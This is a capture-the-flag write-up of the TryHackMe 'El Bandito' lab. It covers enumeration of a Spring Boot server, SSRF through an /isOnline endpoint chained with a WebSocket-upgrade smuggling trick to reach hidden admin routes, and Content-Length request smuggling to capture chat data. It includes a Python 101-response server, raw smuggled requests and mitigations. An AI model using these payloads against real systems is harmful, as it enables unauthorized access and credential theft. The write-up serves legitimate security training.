TryHackMe: El Bandito
A simulation of a vulnerable Spring Boot server designed for red-team exploitation. The room focuses on abusing Actuator endpoints, exploiting SSRF, and performing HTTP smuggling to gain unauthorized access.
⚙️ 1. Port Scanning & Enumeration
Full TCP scan with service/version detection and default NSE scripts to map the attack surface.
1
$ nmap -sS -sV -sC -p- -T4 -n -Pn 10.10.175.20 -oA nmap-elbandito
1
2
3
4
5
6
7
# Summary (scan took ~143s)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open ssl/http El Bandito Server
631/tcp open ipp CUPS 2.4
8080/tcp open http nginx
(Additional output omitted for brevity; full logs available on request)
🔍 1.1 Nmap Results
Nmap results identified several open ports, including 22/SSH, 80/HTTPS (El Bandito Server), 631/IPP, and 8080/HTTP. These services were further analyzed to map the initial attack surface.
📂 1.2 Directory Enumeration (port 80)
Performed directory brute-force on port 80 using gobuster and a medium-sized wordlist to discover hidden web resources for follow-up analysis.
1
$ gobuster dir -u https://10.10.175.20:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-80.txt -t 10 -k
1
2
3
4
5
6
7
/login (Status: 405) [Size: 153]
/static (Status: 301) [Size: 169] [--> http://elbandito.thm/static/]
/access (Status: 200) [Size: 4817]
/messages (Status: 302) [Size: 189] [--> /]
/logout (Status: 302) [Size: 189] [--> /]
/save (Status: 405) [Size: 153]
/ping (Status: 200) [Size: 4]
🔑 1.3 Key Endpoint Analysis
Key endpoints discovered:
/login—405 Method Not Allowed(try other verbs/headers)./static— redirect to/static/./access— login UI./messages— shows “nothing to see” butview-sourceincludesstatic/messages.js./ping— responds withpong.
Visited /access — login UI displayed.
💻 2. Web Application Analysis
/messages renders a blank page containing the text “nothing to see”.
However, the page source includes <script src="/static/messages.js">, indicating client-side routes to inspect.
📜 2.1 Reviewing Client-Side JS
Reviewing messages.js revealed hidden client-side APIs such as /getMessages and /send_message, which are responsible for chat data transmission.
🌐 3. Port 8080 - Spring Boot Services
The main web interface on port 8080 exposes two key components: a token-burning interface and a service status dashboard. Both warrant further investigation.
One endpoint appears to handle burn token operations (direct exploitation unclear).
The second endpoint is Services (contains two links worth investigating).
🧾 3.1 Actuator Endpoints
Multiple Spring Boot Actuator-style endpoints were identified under port 8080, including /info, /health, /metrics, /mappings, etc.
1
$ gobuster dir -u http://10.10.175.20:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-8080.txt
1
2
3
4
5
6
7
8
Results (showing top findings; total matches: 120):
/info (Status: 200) [Size: 2]
/health (Status: 200) [Size: 150]
/metrics (Status: 403) [Size: 146]
/env (Status: 403) [Size: 146]
/beans (Status: 403) [Size: 146]
/error (Status: 500) [Size: 88]
(Additional entries omitted for brevity; full log available on request)
Several paths respond in a structure consistent with Spring Boot Actuator. Accessing a non-existent URL such as http://10.10.175.20:8080/does-not-exist returns a Whitelabel error, confirming the use of Spring Boot as the backend framework.
Reviewing the Spring Boot endpoint list for reference.
🔍 3.2 Sensitive Route Discovery
Examining the /mappings endpoint uncovered two sensitive internal routes: /admin-creds and /admin-flag, which are not linked from the UI.
Reviewing /mappings in Burp reveals backend route definitions in JSON format.
Response headers indicate the application is served behind a proxy (e.g., Nginx).
🧠 4. SSRF Behavior Analysis
Burp was used to intercept requests to the /isOnline endpoint (referenced in services.html) to observe behavior.
🌐 4.1 Burp Observations
🔁 4.2 Outbound Connectivity
Verify outbound connectivity from the target host by launching a temporary HTTP listener on the testing machine.
1
$ python3 -m http.server
1
2
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.175.20 - - [02/Nov/2025 00:48:12] "GET / HTTP/1.1" 200 -
An HTTP 200 OK response confirms that the target host is able to connect to the listener.
🚀 5. Exploitation: SSRF + Protocol Smuggling
Attack concept: leverage the /isOnline endpoint to force the target server to initiate a connection to an external, attacker-controlled listener. Send an Upgrade: websocket header to receive a 101 Switching Protocols response, then reuse the upgraded channel to relay internal requests to hidden endpoints (HTTP request smuggling / protocol upgrade abuse).
🛠️ 5.1 Attack Concept & PoC
A simple Python script demonstrating a 101 Switching Protocols response (used for PoC purposes).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 1:
print("""
Usage: {}
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.protocol_version = "HTTP/1.1"
self.send_response(101)
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
🎯 5.2 Hidden Endpoint Exploitation
Customize the payload to access hidden endpoints by injecting the following request sequence via /isOnline:
1
2
3
4
5
6
7
8
9
GET /isOnline?url=http://10.10.107.116:8000 HTTP/1.1
Host: 10.10.175.20:8080
Sec-WebSocket-Version: 13
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: nf6d8BPb/BLinZ7UexUXHg==
GET /admin-flag HTTP/1.1
Host: 10.10.175.20:8080
🏁 5.3 The First Flag Retrieval
The first flag was successfully retrieved from an internal endpoint.
Applying the same technique to /admin-creds reveals administrator login credentials.
🔓 6. Post-Exploitation via Chat Interface
Previously retrieved credentials were used to authenticate into
/access.
👤 6.1 Auth & Interface
Upon successful authentication, a chat interface is presented. The interface allows sending and receiving messages.
During message exchanges, the
/getMessagesand/send_messageendpoints are triggered to handle chat data I/O. These endpoints may be leveraged to access or manipulate chat contents if not properly secured.
📬 6.2 Intercepting Chat Payloads
Modify the /send_message request to send an extended payload potentially containing a flag by adjusting the Content-Length header.
1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/2
Host: 10.10.175.20:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aQY2Fw.nzO7PpNYGD0vjX25jplgVBgSu74
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
POST /send_message HTTP/1.1
Host: 10.10.175.20:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.aQY2Fw.nzO7PpNYGD0vjX25jplgVBgSu74
Content-Type: application/x-www-form-urlencoded
Content-Length: 900
data=Hello
Auto-updating of the
Content-Lengthheader in Burp Suite should be disabled to prevent payload corruption.
Manually send the crafted payload and observe the server’s response to verify session handling and data processing.
🏁 6.3 Final Flag Retrieval
The second flag was identified via the
/getMessagesendpoint and observed in the chat history.
🧠 Summary
- Exploitation chain combines SSRF with protocol upgrade abuse to access internal endpoints and exfiltrate credentials.
- Internal credentials were used to authenticate and extract flags via chat-based interactions.
- Key weakness: the
/isOnlineendpoint fails to validate external URLs and acceptsUpgradeheaders, enabling request smuggling into sensitive Spring Boot Actuator endpoints.
🛡️ Mitigation & Recommendations
- Disable or restrict actuator endpoints using authentication or IP-based allowlists.
- Whitelist outbound destinations to prevent unauthorized SSRF/upgrade-based calls.
- Sanitize and enforce strict parsing on
UpgradeandConnectionheaders. - Treat internal protocol transitions (e.g., websocket upgrades) as sensitive actions and monitor request chaining behavior.
- Avoid reflecting sensitive data (flags, credentials) in user-accessible interfaces like chat logs or API responses.























